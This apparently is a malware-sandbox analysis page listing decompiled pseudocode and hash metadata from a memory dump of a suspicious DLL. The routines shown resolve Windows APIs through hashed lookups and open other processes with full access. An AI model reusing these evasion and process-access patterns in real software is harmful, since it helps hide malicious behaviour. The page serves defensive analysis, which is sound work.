									E1000BB88(_t431 + 0x14);
									_push( *((intOrPtr*)(_t397 - 0x50916ff)));
								}
								_t366 = 1;
								goto L13;
							}
							__eflags = _t405 - 0xffffffff;
							if(_t405 != 0xffffffff) {
								_t397 = 0;
								__eflags = 0;
								goto L95;
							}
							goto L93;
							L101:
							_t415 = _t415 + 1;
							__eflags = _t415 -  *_t429;
						} while (_t415 <  *_t429);
						goto L102;
					}
					L10:
					if( *((char*)(_t431 + 0x18)) != 0) {
						E1000BB88(_t431 + 0x14);
					}
					goto L12;
				} else {
					return _t156;
				}
			}

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Strings

J}*, xrefs: 10010D5B

Memory Dump Source

Source File: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.749011351.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749036684.000000001001A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749045623.000000001001D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.749056111.000000001001F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: J}*
API String ID: 0-3566034359
Opcode ID: 67d424ff1dabf66e3fcac142e24fdc9017d9d2f9a01eb492ad65698e1adc92f1
Instruction ID: 2d0b7547684741a8baa3a0fbe14fb8abeb41ea5cf6ce277a40cb2789471ff98d
Opcode Fuzzy Hash: 67d424ff1dabf66e3fcac142e24fdc9017d9d2f9a01eb492ad65698e1adc92f1
Instruction Fuzzy Hash: 6B22D134708341AAE760DB20C851BAF77E9EF85384F51892DF8C99F196DBB0E885C752

Uniqueness

Uniqueness Score: -1.00%

Function 10001494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Download Yara Rule

C-Code - Quality: 31%

			E10001494(intOrPtr __ecx, void* __edx, void* __eflags) {
				intOrPtr _v40;
				intOrPtr _v60;
				void* _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				char _v144;
				char _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				char _v168;
				char _v172;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				char _v192;
				char _v196;
				char _v200;
				char _v204;
				char _v208;
				char _v212;
				char _v216;
				char _v220;
				char _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				char _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char _v276;
				void* _v288;
				intOrPtr _v292;
				char _v296;
				char _v300;
				char _v304;
				char _v308;
				char _v312;
				char _v316;
				char _v320;
				char _v324;
				char _v340;
				char _v344;
				char _v348;
				char _v352;
				char _v356;
				void* __ebp;
				void* _t282;
				intOrPtr* _t310;
				intOrPtr* _t318;
				intOrPtr* _t434;
				intOrPtr* _t480;
				void* _t481;

				_t481 = __eflags;
				_t480 =  &_v60;
				_v40 = __ecx;
				_v76 = 0;
				E1000F5A8( &_v72, 0);
				_v60 = 0x790529cb;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v76, E1000F4F0( &_v76) + 0x10);
				E1000F4E0( &_v80, E1000F4F0( &_v80) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v88 = _v88 + 1;
				_t325 =  &_v84;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v84 + 0x10)) = 0xdee5e4fb;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v84, E1000F4F0(_t325) + 0x10);
				E1000F4E0( &_v88, E1000F4F0( &_v88) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v96 = _v96 + 1;
				_t329 =  &_v92;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v92 + 0x10)) = 0xeabbe5b1;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v92, E1000F4F0(_t329) + 0x10);
				E1000F4E0( &_v96, E1000F4F0( &_v96) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v104 = _v104 + 1;
				_t333 =  &_v100;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v100 + 0x10)) = 0x9a85f5ac;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v100, E1000F4F0(_t333) + 0x10);
				E1000F4E0( &_v104, E1000F4F0( &_v104) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v112 = _v112 + 1;
				_t337 =  &_v108;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v108 + 0x10)) = 0x93251419;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v108, E1000F4F0(_t337) + 0x10);
				E1000F4E0( &_v112, E1000F4F0( &_v112) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v120 = _v120 + 1;
				_t341 =  &_v116;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v116 + 0x10)) = 0x26dec0d0;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v116, E1000F4F0(_t341) + 0x10);
				E1000F4E0( &_v120, E1000F4F0( &_v120) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v128 = _v128 + 1;
				_t345 =  &_v124;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v124 + 0x10)) = 0xa7a69cc6;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v124, E1000F4F0(_t345) + 0x10);
				E1000F4E0( &_v128, E1000F4F0( &_v128) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v136 = _v136 + 1;
				_t349 =  &_v132;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v132 + 0x10)) = 0x1a9c1df5;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v132, E1000F4F0(_t349) + 0x10);
				E1000F4E0( &_v136, E1000F4F0( &_v136) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v144 = _v144 + 1;
				_t353 =  &_v140;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v140 + 0x10)) = 0x77fa1d17;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v140, E1000F4F0(_t353) + 0x10);
				E1000F4E0( &_v144, E1000F4F0( &_v144) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v152 = _v152 + 1;
				_t357 =  &_v148;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v148 + 0x10)) = 0xabb27594;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v148, E1000F4F0(_t357) + 0x10);
				E1000F4E0( &_v152, E1000F4F0( &_v152) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v160 = _v160 + 1;
				_t361 =  &_v156;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v156 + 0x10)) = 0xfe904c4d;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v156, E1000F4F0(_t361) + 0x10);
				E1000F4E0( &_v160, E1000F4F0( &_v160) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v168 = _v168 + 1;
				_t365 =  &_v164;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v164 + 0x10)) = 0xde72067;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v164, E1000F4F0(_t365) + 0x10);
				E1000F4E0( &_v168, E1000F4F0( &_v168) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v176 = _v176 + 1;
				_t369 =  &_v172;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v172 + 0x10)) = 0x82fffbdc;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v172, E1000F4F0(_t369) + 0x10);
				E1000F4E0( &_v176, E1000F4F0( &_v176) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v184 = _v184 + 1;
				_t373 =  &_v180;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v180 + 0x10)) = 0xdb278333;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v180, E1000F4F0(_t373) + 0x10);
				E1000F4E0( &_v184, E1000F4F0( &_v184) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v192 = _v192 + 1;
				_t377 =  &_v188;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v188 + 0x10)) = 0xc380629b;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v188, E1000F4F0(_t377) + 0x10);
				E1000F4E0( &_v192, E1000F4F0( &_v192) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v200 = _v200 + 1;
				_t381 =  &_v196;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v196 + 0x10)) = 0xd5e26663;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v196, E1000F4F0(_t381) + 0x10);
				E1000F4E0( &_v200, E1000F4F0( &_v200) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v208 = _v208 + 1;
				_t385 =  &_v204;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v204 + 0x10)) = 0xc09bf2f8;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v204, E1000F4F0(_t385) + 0x10);
				E1000F4E0( &_v208, E1000F4F0( &_v208) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t434 = _t480;
				 *_t434 =  *_t434 + 1;
				E100141D8(0xfe338407, _t434);
				E1000F4E0( &_v212, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x450], xmm0");
				E1000F4E0( &_v216, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x458], xmm0");
				E1000F4E0( &_v220, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x460], xmm0");
				E1000F4E0( &_v224, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x468], xmm0");
				E1000F4E0( &_v228, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x470], xmm0");
				E1000F4E0( &_v232, 0x60);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x478], xmm0");
				E1000F4E0( &_v236, 0x70);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x480], xmm0");
				E1000F4E0( &_v240, 0x80);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x488], xmm0");
				E1000F4E0( &_v244, 0x90);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x490], xmm0");
				E1000F4E0( &_v248, 0xa0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x498], xmm0");
				E1000F4E0( &_v252, 0xb0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a0], xmm0");
				E1000F4E0( &_v256, 0xc0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a8], xmm0");
				E1000F4E0( &_v260, 0xd0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b0], xmm0");
				E1000F4E0( &_v264, 0xe0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b8], xmm0");
				E1000F4E0( &_v268, 0xf0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c0], xmm0");
				E1000F4E0( &_v272, 0x100);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c8], xmm0");
				_t282 = E1000F4E0( &_v276, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp], xmm0");
				_v252 = E10001D2C(_v248, _t434, _t481, _t282, _t282);
				_t318 = _t434;
				E1000B2C0( &_v248, _v256, _t481, _v252, _t318);
				E1000F864( &_v296, _t481);
				_v300 = 0;
				_t410 =  &_v296;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v296 + 0x10)) = 0xa09bf9c8;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v296, E1000F4F0(_t410) + 0x10);
				E1000F4E0( &_v300, E1000F4F0( &_v300) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v308 = _v308 + 1;
				_t414 =  &_v304;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v304 + 0x10)) = 0x2b5b930c;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v304, E1000F4F0(_t414) + 0x10);
				E1000F4E0( &_v308, E1000F4F0( &_v308) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v316 = _v316 + 1;
				_t418 =  &_v312;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v312 + 0x10)) = 0x453267ca;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v312, E1000F4F0(_t418) + 0x10);
				E1000F4E0( &_v316, E1000F4F0( &_v316) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v324 = _v324 + 1;
				_t422 =  &_v320;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v320 + 0x10)) = 0xb38fc5b8;
				asm("movq [ecx+0x18], xmm0");
				E1000F84C( &_v320, E1000F4F0(_t422) + 0x10);
				E1000F4E0( &_v324, E1000F4F0( &_v324) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t480 =  *_t480 + 1;
				_t310 = _t480;
				_push(_t310);
				_push(_t318);
				_push(_v292);
				_t154 = _t310 + 0x2c; // 0x2c
				E1000BA40(_t154,  *_t480);
				E1000F4E0( &_v340, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d8], xmm0");
				E1000F4E0( &_v344, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e0], xmm0");
				E1000F4E0( &_v348, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d0], xmm0");
				E1000F4E0( &_v352, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e8], xmm0");
				E1000F678( &_v316);
				return E1000F678( &_v356);
			}

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Strings

g , xrefs: 100017DC

Memory Dump Source

Source File: 00000002.00000002.749018753.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.749011351.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749036684.000000001001A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.749045623.000000001001D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.749056111.000000001001F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: g
API String ID: 0-171373902
Opcode ID: ba3e336ea50ccbb4ab28022ad21036f20da8c468ff5a58fedb7bec0103fc72bc
Instruction ID: b442155eacf7675d39859fb34eebdae8123254ffe159dd47b7877bbbb04c0330
Opcode Fuzzy Hash: ba3e336ea50ccbb4ab28022ad21036f20da8c468ff5a58fedb7bec0103fc72bc
Instruction Fuzzy Hash: 1032C6764047059AD705DF24C852AFFB3A0EFA2388F10871DB8896A1A7FF71F985D681

Uniqueness

Uniqueness Score: -1.00%

Function 1000A52C, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E1000A52C(signed int* __ecx, void* __eflags) {
				void* __esi;
				void* __ebp;
				void* _t182;
				signed int _t183;
				signed int* _t188;
				void* _t198;
				void* _t199;
				void* _t228;
				void* _t229;
				void* _t242;
				void* _t243;
				void* _t251;
				signed int* _t271;
				void* _t282;
				void* _t284;
				void* _t285;
				void* _t296;
				signed int* _t308;
				void* _t324;
				signed int _t398;
				signed int _t402;
				intOrPtr* _t403;
				intOrPtr* _t404;
				signed int _t406;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				void* _t413;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t419;
				void* _t420;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t429;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				intOrPtr* _t439;

				_t308 = __ecx;
				 *(_t439 + 0x78) = 0;
				 *_t439 = __ecx + 8;
				 *((intOrPtr*)(_t439 + 4)) = __ecx + 0x20;
				while(1) {
					_t392 =  *_t308;
					E1000B69C(_t439 + 0x24, _t392, 0x7fffffff);
					if(E1000F4F4(_t439 + 0x24) == 0) {
						goto L3;
					} else {
						_t308[0xc] = 0;
						E1000F678(_t439 + 0x24);
					}
					L63:
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					L65:
					if((_t407 | _t398) != 0) {
						L68:
						return _t407;
					}
					if( *(_t439 + 0x78) != 0x20) {
						E1001223C(0x5dc, _t392, _t407);
						 *(_t439 + 0x78) =  *(_t439 + 0x78) + 1;
						continue;
					}
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					goto L68;
					L3:
					__eflags = _t308[1];
					if(_t308[1] <= 0) {
						L21:
						__eflags =  *(_t439 + 0x20);
						if( *(_t439 + 0x20) <= 0) {
							L33:
							E1000F678(_t439 + 0x24);
							__eflags = _t308[0xc];
							if(_t308[0xc] == 0) {
								L46:
								 *((intOrPtr*)(_t439 + 8)) = 0;
								 *((intOrPtr*)(_t439 + 0xc)) = 0;
								E1000F5A8(_t439 + 0x14, 0);
								 *((intOrPtr*)(_t439 + 0x38)) = 0;
								 *(_t439 + 0x34) =  *_t308;
								E1000F5A8(_t439 + 0x40, 0);
								_t182 = 0x40;
								__eflags = _t308[7] - 0x40;
								_t183 =  <  ? _t308[7] : _t182;
								 *(_t439 + 0x74) = _t183;
								__eflags = _t183;
								if(_t183 <= 0) {
									L57:
									asm("movq xmm0, [0x1001b808]");
									asm("movq [esp+0x84], xmm0");
									_t406 = E1001303C(0xfe338407, 0x8a79536f);
									__eflags = _t406;
									if(_t406 == 0) {
										_t424 = 0;
										__eflags = 0;
										L61:
										__eflags = _t424 - 0x3f;
										if(_t424 <= 0x3f) {
											__eflags = _t424 << 2;
											_t308[0xc] =  *(E1000F4E0( *((intOrPtr*)(_t439 + 8)), _t424 << 2));
											_t188 = E1000F4E0( *((intOrPtr*)(_t439 + 4)), _t424 << 2);
											_t407 = _t308[0xc];
											asm("cdq");
											_t308[0xd] =  *_t188;
											_t398 = _t392;
											E1000B608(_t439 + 0x34);
											E1000B608(_t439 + 8);
											goto L65;
										}
										L62:
										E1000B608(_t439 + 0x34);
										E1000B608(_t439 + 8);
										goto L63;
									}
									_t392 = E1000F4E0(_t439 + 0x14, 0);
									_t198 =  *_t406( *((intOrPtr*)(_t439 + 0xc)), _t392, 1, 0, _t439 + 0x84);
									_t133 = _t198 - 0x80; // -128
									_t199 = _t133;
									__eflags = _t199 - 0x3f;
									_t424 =  <=  ? _t199 : _t198;
									__eflags = _t424 - 0x102;
									if(_t424 == 0x102) {
										goto L62;
									}
									goto L61;
								}
								_t437 = 0;
								__eflags = 0;
								while(1) {
									E1000CAD0(_t439 + 0x4c);
									_t392 = 0;
									_t324 = _t439 + 0x4c;
									 *((char*)(_t324 + 4)) = 0;
									 *((intOrPtr*)(_t324 + 0x1c)) = 0;
									__eflags = E1000C2C4(_t324);
									if(__eflags != 0) {
										break;
									}
									E1000F84C(_t439 + 0x14, E1000F4F0(_t439 + 0x10) + 4);
									 *((intOrPtr*)(E1000F4E0(_t439 + 0x14, E1000F4F0(_t439 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t439 + 0x4c));
									 *((intOrPtr*)(_t439 + 0xc)) =  *((intOrPtr*)(_t439 + 0xc)) + 1;
									_t409 = E1001303C(0xfe338407, 0xa8c8a645);
									__eflags = _t409;
									if(_t409 == 0) {
										L51:
										_t392 =  *(_t439 + 0x68);
										__eflags = _t392;
										if(__eflags == 0) {
											break;
										}
										__eflags = _t392 - 0xffffffff;
										if(__eflags != 0) {
											E1000F84C(_t439 + 0x40, E1000F4F0(_t439 + 0x3c) + 4);
											 *(E1000F4E0(_t439 + 0x40, E1000F4F0(_t439 + 0x3c) + 0xfffffffc)) =  *(_t439 + 0x68);
											 *((intOrPtr*)(_t439 + 0x4c - 0x14)) =  *((intOrPtr*)(_t439 + 0x4c - 0x14)) + 1;
											E1000CD68(_t439 + 0x4c, __eflags);
											_t437 = _t437 + 1;
											__eflags = _t437 -  *(_t439 + 0x74);
											if(_t437 <  *(_t439 + 0x74)) {
												continue;
											}
											_t411 = 0;
											__eflags = 0;
											do {
												E1000F4E0( *((intOrPtr*)(_t439 + 8)), _t411 * 4);
												E1000F4E0(_t439 + 0x40, _t411 * 4);
												_t439 = _t439 + 0xffffffd8;
												asm("cdq");
												asm("pxor xmm5, xmm5");
												asm("movd xmm1, dword [ebp]");
												asm("movd xmm4, dword [edi]");
												asm("movd xmm0, edx");
												asm("cdq");
												asm("punpckldq xmm1, xmm0");
												asm("movq xmm2, [ebx+0x38]");
												asm("movq [esp], xmm1");
												asm("movd xmm3, edx");
												asm("punpckldq xmm4, xmm3");
												asm("movq [esp+0x8], xmm2");
												asm("movq [esp+0x10], xmm4");
												asm("movq [esp+0x18], xmm5");
												asm("movq [esp+0x20], xmm5");
												E1000AC8C(__eflags);
												_t411 = _t411 + 1;
												__eflags = _t411 -  *(_t439 + 0x74);
											} while (_t411 <  *(_t439 + 0x74));
											goto L57;
										}
										break;
									}
									_t392 = _t439 + 0x68;
									 *_t409(0xffffffff,  *((intOrPtr*)(_t439 + 0x60)),  *_t308, _t439 + 0x68, 0, 0, 2);
									__eflags = 0;
									if(0 != 0) {
										break;
									}
									goto L51;
								}
								E1000CD68(_t439 + 0x4c, __eflags);
								goto L62;
							}
							_t402 = _t308[1];
							__eflags = _t402;
							if(_t402 <= 0) {
								goto L46;
							}
							_t412 = 0;
							__eflags = 0;
							while(1) {
								_t429 = _t412 * 4;
								_t392 =  *(E1000F4E0( *((intOrPtr*)(_t439 + 4)), _t429));
								__eflags = _t392 - _t308[0xd];
								if(_t392 == _t308[0xd]) {
									break;
								}
								_t412 = _t412 + 1;
								__eflags = _t412 - _t402;
								if(_t412 < _t402) {
									continue;
								}
								goto L46;
							}
							__eflags = _t412 - 0xffffffff;
							if(_t412 != 0xffffffff) {
								_t228 = E1000F4F0( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t228 - _t429;
								if(_t228 > _t429) {
									_t392 = 4 + _t412 * 4;
									 *(_t439 + 0x6c) = _t392;
									_t251 = E1000F4F0( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t251 -  *(_t439 + 0x6c);
									if(_t251 >  *(_t439 + 0x6c)) {
										 *((intOrPtr*)(_t439 + 0x90)) = E1000F4E0( *((intOrPtr*)(_t439 + 8)), _t429);
										 *((intOrPtr*)(_t439 + 0x8c)) = E1000F4E0( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x6c));
										E100138C8( *((intOrPtr*)(_t439 + 0x98)),  *((intOrPtr*)(_t439 + 0x90)), E1000F4F0( *((intOrPtr*)(_t439 + 4))) -  *(_t439 + 0x6c));
										_t439 = _t439 + 0xc;
									}
									E1000F84C( *((intOrPtr*)(_t439 + 8)), E1000F4F0( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t74 =  &(_t308[7]);
									 *_t74 = _t308[7] - 1;
									__eflags =  *_t74;
								}
								_t229 = E1000F4F0( *_t439);
								__eflags = _t229 - _t429;
								if(_t229 > _t429) {
									_t413 = 4 + _t412 * 4;
									_t242 = E1000F4F0( *_t439);
									__eflags = _t242 - _t413;
									if(_t242 > _t413) {
										_t243 = E1000F4E0( *((intOrPtr*)(_t439 + 4)), _t429);
										 *((intOrPtr*)(_t439 + 0x94)) = E1000F4E0( *((intOrPtr*)(_t439 + 4)), _t413);
										E100138C8(_t243,  *((intOrPtr*)(_t439 + 0x98)), E1000F4F0( *_t439) - _t413);
										_t439 = _t439 + 0xc;
									}
									E1000F84C( *((intOrPtr*)(_t439 + 4)), E1000F4F0( *_t439) + 0xfffffffc);
									_t79 =  &(_t308[1]);
									 *_t79 = _t308[1] - 1;
									__eflags =  *_t79;
								}
								E1000F84C( *((intOrPtr*)(_t439 + 8)), E1000F4F0( *((intOrPtr*)(_t439 + 4))) + 4);
								 *(E1000F4E0( *((intOrPtr*)(_t439 + 8)), E1000F4F0( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t308[0xc];
								_t308[7] = _t308[7] + 1;
								E1000F84C( *((intOrPtr*)(_t439 + 4)), E1000F4F0( *_t439) + 4);
								 *(E1000F4E0( *((intOrPtr*)(_t439 + 4)), E1000F4F0( *_t439) + 0xfffffffc)) = _t308[0xd];
								_t308[1] = _t308[1] + 1;
							}
							goto L46;
						}
						_t433 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x70) = _t433 * 4;
							_t403 = E1000F4E0(_t439 + 0x28, _t433 * 4);
							_t392 = _t308[1];
							 *(_t439 + 0x80) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L29:
								_t414 = E1001303C(0x10154545, 0xc2a75cb8);
								__eflags = _t414;
								if(_t414 != 0) {
									_t416 =  *_t414(0x1fffff, 0,  *((intOrPtr*)(E1000F4E0(_t439 + 0x28,  *(_t439 + 0x70)))));
									__eflags = _t416;
									if(_t416 != 0) {
										E1000F84C( *((intOrPtr*)(_t439 + 8)), E1000F4F0( *((intOrPtr*)(_t439 + 4))) + 4);
										 *(E1000F4E0( *((intOrPtr*)(_t439 + 8)), E1000F4F0( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t416;
										_t308[7] = _t308[7] + 1;
										_t271 = E1000F4E0(_t439 + 0x28,  *(_t439 + 0x70));
										E1000F84C( *((intOrPtr*)(_t439 + 4)), E1000F4F0( *_t439) + 4);
										 *(E1000F4E0( *((intOrPtr*)(_t439 + 4)), E1000F4F0( *_t439) + 0xfffffffc)) =  *_t271;
										_t57 =  &(_t308[1]);
										 *_t57 = _t308[1] + 1;
										__eflags =  *_t57;
									}
								}
								goto L32;
							}
							_t415 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E1000F4E0( *((intOrPtr*)(_t439 + 4)), _t415 * 4));
								__eflags = _t392 -  *_t403;
								if(_t392 ==  *_t403) {
									break;
								}
								_t415 = _t415 + 1;
								__eflags = _t415 -  *(_t439 + 0x80);
								if(_t415 <  *(_t439 + 0x80)) {
									continue;
								}
								goto L29;
							}
							__eflags = _t415 - 0xffffffff;
							if(_t415 == 0xffffffff) {
								goto L29;
							}
							L32:
							_t433 = _t433 + 1;
							__eflags = _t433 -  *(_t439 + 0x20);
						} while (_t433 <  *(_t439 + 0x20));
						goto L33;
					} else {
						_t434 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x64) = _t434 * 4;
							_t404 = E1000F4E0( *((intOrPtr*)(_t439 + 4)), _t434 * 4);
							_t392 =  *(_t439 + 0x20);
							 *(_t439 + 0x7c) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L11:
								_t282 = E1000F4F0( *_t439);
								__eflags = _t282 -  *(_t439 + 0x64);
								if(_t282 >  *(_t439 + 0x64)) {
									_t420 = 4 + _t434 * 4;
									_t296 = E1000F4F0( *_t439);
									__eflags = _t296 - _t420;
									if(_t296 > _t420) {
										 *((intOrPtr*)(_t439 + 0x9c)) = E1000F4E0( *((intOrPtr*)(_t439 + 4)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0x98)) = E1000F4E0( *((intOrPtr*)(_t439 + 4)), _t420);
										E100138C8( *((intOrPtr*)(_t439 + 0xa4)),  *((intOrPtr*)(_t439 + 0x9c)), E1000F4F0( *_t439) - _t420);
										_t439 = _t439 + 0xc;
									}
									E1000F84C( *((intOrPtr*)(_t439 + 4)), E1000F4F0( *_t439) + 0xfffffffc);
									_t22 =  &(_t308[1]);
									 *_t22 = _t308[1] - 1;
									__eflags =  *_t22;
								}
								_t419 = E1001303C(0xfe338407, 0x77fa1d17);
								__eflags = _t419;
								if(_t419 != 0) {
									 *_t419( *((intOrPtr*)(E1000F4E0( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64)))));
								}
								_t284 = E1000F4F0( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t284 -  *(_t439 + 0x64);
								if(_t284 >  *(_t439 + 0x64)) {
									_t422 = 4 + _t434 * 4;
									_t285 = E1000F4F0( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t285 - _t422;
									if(_t285 > _t422) {
										 *((intOrPtr*)(_t439 + 0xa4)) = E1000F4E0( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0xa0)) = E1000F4E0( *((intOrPtr*)(_t439 + 8)), _t422);
										E100138C8( *((intOrPtr*)(_t439 + 0xac)),  *((intOrPtr*)(_t439 + 0xa4)), E1000F4F0( *((intOrPtr*)(_t439 + 4))) - _t422);
										_t439 = _t439 + 0xc;
									}
